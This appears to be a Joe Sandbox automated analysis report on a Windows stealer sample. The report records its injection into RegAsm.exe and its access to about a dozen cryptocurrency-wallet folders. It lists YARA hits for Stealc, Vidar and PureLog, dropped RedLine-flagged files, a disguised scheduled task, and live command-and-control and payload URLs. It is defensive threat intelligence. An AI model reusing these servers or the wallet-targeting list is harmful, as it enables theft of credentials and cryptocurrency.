Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7488, type: MEMORYSTR

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.a20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1662962002.0000000000A22000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000002.00000002.2378894358.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7488, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C4C0C40 sqlite3_bind_zeroblob,	2_2_6C4C0C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C4C0D60 sqlite3_bind_parameter_name,	2_2_6C4C0D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3E8EA0 sqlite3_clear_bindings,	2_2_6C3E8EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C4C0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	2_2_6C4C0B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3E6410 bind,WSAGetLastError,	2_2_6C3E6410

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	511 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	22 Software Packing	NTDS	243 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	231 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\HJJDGHCBGD.exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\HJJDGHCBGD.exe	74%	ReversingLabs	Win32.Ransomware.RedLine
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe	74%	ReversingLabs	Win32.Ransomware.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	74%	ReversingLabs	Win32.Ransomware.RedLine

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net02	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://193.176.190.41/9e7fbd3f0393ef32/mozglue.dll9U	100%	Avira URL Cloud	phishing
http://193.176.190.41/9e7fbd3f0393ef32/nss3.dll:	100%	Avira URL Cloud	phishing
http://crl.entrust.net/ts1ca.crl0	0%	URL Reputation	safe
http://193.176.190.41/9e7fbd3f0393ef32/mozglue.dll	100%	Avira URL Cloud	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://193.176.190.41/2fa883eebd632382.phpb	100%	Avira URL Cloud	malware
https://mozilla.org0/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://www.entrust.net/rpa03	0%	URL Reputation	safe
http://aia.entrust.net/ts1-chain256.cer01	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
http://193.176.190.41/9e7fbd3f0393ef32/vcruntime140.dll	100%	Avira URL Cloud	phishing
http://193.176.190.41/2fa883eebd632382.phption:	100%	Avira URL Cloud	malware
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
http://193.176.190.41/9e7fbd3f0393ef32/msvcp140.dll	100%	Avira URL Cloud	phishing
https://aldiablo.cl/karu/l2.exe	100%	Avira URL Cloud	malware
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
https://www.entrust.net/rpa0	0%	URL Reputation	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	Avira URL Cloud	safe
http://193.176.190.41/9e7fbd3f0393ef32/nss3.dll	100%	Avira URL Cloud	malware
http://193.176.190.41/9e7fbd3f0393ef32/freebl3.dll	100%	Avira URL Cloud	malware
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://193.176.190.41/9e7fbd3f0393ef32/sqlite3.dll	100%	Avira URL Cloud	malware
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://193.176.190.41U	0%	Avira URL Cloud	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	0%	Avira URL Cloud	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	Avira URL Cloud	safe
http://193.176.190.41/2fa883eebd632382.php9a9c4a2f8b514.cdf-ms	100%	Avira URL Cloud	malware
http://193.176.190.41EHCB	0%	Avira URL Cloud	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	0%	Avira URL Cloud	safe
http://193.176.190.41/9e7fbd3f0393ef32/softokn3.dll	100%	Avira URL Cloud	malware
http://193.176.190.41/	100%	Avira URL Cloud	malware
http://193.176.190.41/2fa883eebd632382.php	100%	Avira URL Cloud	malware
http://193.176.190.41/2fa883eebd632382.phpTgHw	100%	Avira URL Cloud	malware
https://aldiablo.cl/	0%	Avira URL Cloud	safe
http://193.176.190.41	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
aldiablo.cl	186.64.114.115	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.176.190.41/9e7fbd3f0393ef32/mozglue.dll	true	Avira URL Cloud: malware	unknown
http://193.176.190.41/9e7fbd3f0393ef32/vcruntime140.dll	true	Avira URL Cloud: phishing	unknown
https://aldiablo.cl/karu/l2.exe	true	Avira URL Cloud: malware	unknown
http://193.176.190.41/9e7fbd3f0393ef32/msvcp140.dll	true	Avira URL Cloud: phishing	unknown
http://193.176.190.41/9e7fbd3f0393ef32/freebl3.dll	true	Avira URL Cloud: malware	unknown
http://193.176.190.41/9e7fbd3f0393ef32/nss3.dll	true	Avira URL Cloud: malware	unknown
http://193.176.190.41/9e7fbd3f0393ef32/sqlite3.dll	true	Avira URL Cloud: malware	unknown
http://193.176.190.41/9e7fbd3f0393ef32/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://193.176.190.41/	true	Avira URL Cloud: malware	unknown
http://193.176.190.41/2fa883eebd632382.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	DBKEHDGD.2.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	JJKJDAEBFCBKECBGDBFCFBKKKF.2.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	DBKEHDGD.2.dr	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, HJJDGHCBGD.exe, 00000008.00000003.2377160146.000000000284E000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, oobeldr.exe.8.dr, HJJDGHCBGD.exe.2.dr	false	URL Reputation: safe	unknown
http://193.176.190.41/9e7fbd3f0393ef32/mozglue.dll9U	RegAsm.exe, 00000002.00000002.2378894358.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://193.176.190.41/9e7fbd3f0393ef32/nss3.dll:	RegAsm.exe, 00000002.00000002.2378894358.0000000000F0A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ocsp.entrust.net03	file.exe	false	URL Reputation: safe	unknown
http://ocsp.entrust.net02	file.exe	false	URL Reputation: safe	unknown
http://193.176.190.41/2fa883eebd632382.phpb	RegAsm.exe, 00000002.00000002.2400441478.000000002E1A0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2378894358.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, DAEBFHJKJEBFCBFHDAEG.2.dr	false	URL Reputation: safe	unknown
http://193.176.190.41/2fa883eebd632382.phption:	RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	DBKEHDGD.2.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	DAEBFHJKJEBFCBFHDAEG.2.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	DBKEHDGD.2.dr	false	URL Reputation: safe	unknown
http://crl.entrust.net/ts1ca.crl0	file.exe	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2378894358.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, DAEBFHJKJEBFCBFHDAEG.2.dr	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	RegAsm.exe, 00000002.00000002.2400754407.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2390906860.000000001B384000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	RegAsm.exe, RegAsm.exe, 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	HJJDGHCBGD.exe, 00000008.00000003.2377160146.000000000284E000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, oobeldr.exe.8.dr, HJJDGHCBGD.exe.2.dr	false	URL Reputation: safe	unknown
https://mozilla.org0/	freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2378894358.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, DAEBFHJKJEBFCBFHDAEG.2.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	DBKEHDGD.2.dr	false	Avira URL Cloud: safe	unknown
http://www.entrust.net/rpa03	file.exe	false	URL Reputation: safe	unknown
http://193.176.190.41U	RegAsm.exe, 00000002.00000002.2378894358.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aia.entrust.net/ts1-chain256.cer01	file.exe	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	DBKEHDGD.2.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2378894358.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, DAEBFHJKJEBFCBFHDAEG.2.dr	false	Avira URL Cloud: safe	unknown
http://193.176.190.41/2fa883eebd632382.php9a9c4a2f8b514.cdf-ms	RegAsm.exe, 00000002.00000002.2378894358.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.176.190.41EHCB	RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	DBKEHDGD.2.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JJKJDAEBFCBKECBGDBFCFBKKKF.2.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	DBKEHDGD.2.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, HJJDGHCBGD.exe, 00000008.00000003.2377160146.000000000284E000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, oobeldr.exe.8.dr, HJJDGHCBGD.exe.2.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2378894358.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, DAEBFHJKJEBFCBFHDAEG.2.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, HJJDGHCBGD.exe, 00000008.00000003.2377160146.000000000284E000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, oobeldr.exe.8.dr, HJJDGHCBGD.exe.2.dr	false	URL Reputation: safe	unknown
http://193.176.190.41/2fa883eebd632382.phpTgHw	RegAsm.exe, 00000002.00000002.2378894358.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org	JJKJDAEBFCBKECBGDBFCFBKKKF.2.dr	false	URL Reputation: safe	unknown
http://193.176.190.41	RegAsm.exe, 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://aldiablo.cl/	RegAsm.exe, 00000002.00000002.2378894358.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	DBKEHDGD.2.dr	false	URL Reputation: safe	unknown
http://crl.entrust.net/2048ca.crl0	file.exe	false	URL Reputation: safe	unknown
https://www.entrust.net/rpa0	file.exe	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
186.64.114.115	aldiablo.cl	Chile		52368	ZAMLTDACL	false
193.176.190.41	unknown	unknown		207451	AGROSVITUA	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1501904
Start date and time:	2024-08-30 18:12:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@16/26@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 80 Number of non-executed functions: 235
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:14:42	API Interceptor	116x Sleep call for process: oobeldr.exe modified
17:14:07	Task Scheduler	Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
186.64.114.115	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
193.176.190.41	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse	193.176.190.41/2fa883eebd632382.php
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse	193.176.190.41/2fa883eebd632382.php
	file.exe	Get hash	malicious	Stealc	Browse	193.176.190.41/2fa883eebd632382.php
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	193.176.190.41/2fa883eebd632382.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	193.176.190.41/2fa883eebd632382.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	193.176.190.41/2fa883eebd632382.php
	3QKcKCEzYP.exe	Get hash	malicious	LummaC, Djvu, Go Injector, LummaC Stealer, Neoreklami, Stealc, SystemBC	Browse	193.176.190.41/2fa883eebd632382.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	193.176.190.41/2fa883eebd632382.php
	file.exe	Get hash	malicious	Stealc	Browse	193.176.190.41/2fa883eebd632382.php
	file.exe	Get hash	malicious	Stealc	Browse	193.176.190.41/2fa883eebd632382.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
aldiablo.cl	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse	186.64.114.115
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse	186.64.114.115
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	186.64.114.115
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	186.64.114.115
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	186.64.114.115
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	186.64.114.115
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	186.64.114.115

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ZAMLTDACL	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse	186.64.114.115
	https://ibailey.cl/web1.plala.or.jp/plala.or.jps/index.html	Get hash	malicious	Unknown	Browse	186.64.118.235
	https://squad.cl:443/MTU0czVIMDg3ODR6OG4=	Get hash	malicious	Unknown	Browse	186.64.114.180
